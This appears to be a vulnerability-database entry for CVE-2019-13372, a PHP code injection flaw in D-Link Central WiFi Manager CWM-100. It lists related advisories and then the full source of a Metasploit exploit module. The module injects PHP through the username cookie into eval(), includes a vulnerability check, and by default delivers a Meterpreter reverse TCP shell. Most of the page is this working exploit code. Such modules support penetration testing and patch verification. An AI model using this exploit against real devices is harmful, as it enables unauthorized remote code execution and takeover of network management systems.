D-Link Central WiFi Manager CWM(100) Remote Code Execution

🗓️ 18 Aug 2020 00:00:00Reported by M3 at ZionLabType

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D-Link Central WiFi Manager CWM(100) PHP code injection vulnerability exploit

Reporter	Title	Published	Views	Family All 14
0day.today	D-Link Central WiFi Manager CWM(100) Remote Code Execution Exploit	18 Aug 202000:00	–	zdt
Circl	CVE-2019-13372	7 Jul 201901:59	–	circl
CNVD	D-Link Central WiFi Manager (CWM-100) Remote Code Execution Vulnerability	8 Jul 201900:00	–	cnvd
Check Point Advisories	D-Link Central WiFiManager CWM-100 Remote Code Execution (CVE-2019-13372)	13 Nov 202200:00	–	checkpoint_advisories
CVE	CVE-2019-13372	6 Jul 201922:54	–	cve
Cvelist	CVE-2019-13372	6 Jul 201922:54	–	cvelist
Metasploit	D-Link Central WiFi Manager CWM(100) RCE	18 Aug 202017:41	–	metasploit
Nuclei	D-Link Central WiFi Manager CWM(100) - Remote Code Execution	1 Jun 202605:38	–	nuclei
NVD	CVE-2019-13372	6 Jul 201923:15	–	nvd
OSV	CVE-2019-13372	6 Jul 201923:15	–	osv

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'D-Link Central WiFi Manager CWM(100) RCE',  
'Description' => %q{  
This module exploits a PHP code injection vulnerability in D-Link Central WiFi Manager CWM(100)  
versions below `v1.03R0100_BETA6`. The vulnerability exists in the  
username cookie, which is passed to `eval()` without being sanitized.  
Dangerous functions are not disabled by default, which makes it possible  
to get code execution on the target.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'M3@ZionLab from DBAppSecurity', # Original discovery  
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # PoC, metasploit module  
],  
'References' =>  
[  
['CVE', '2019-13372'],  
['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/' ]  
],  
'Targets' => [ [ 'Automatic', {}] ],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp',  
'SSL' => true,  
'RPORT' => 443  
},  
'Platform' => %w[php],  
'Arch' => [ ARCH_PHP ],  
'DisclosureDate' => 'Jul 9 2019'  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])  
]  
)  
end  
  
def inject_php(cmd)  
encode_char = ->(char) { '%' + char.ord.to_s(16).rjust(2, '0') }  
payload = "',0,\"\",1,\"0\")%3b#{cmd.gsub(/[;\s]/, &encode_char)}%3b//\""  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, 'index.php', 'Index', 'index'),  
'cookie' => "username=#{payload};password="  
)  
res ? res.body[/^(.*?)<!DOCTYPE html>/mi, 1] : nil  
end  
  
def check  
rand_text = Rex::Text.rand_text_alphanumeric(rand(4..10))  
if inject_php("echo \"#{rand_text}\"")&.chomp == rand_text  
return Exploit::CheckCode::Vulnerable  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def exploit  
inject_php(payload.raw)  
end  
end  
`

18 Aug 2020 00:00Current

EPSS0.92907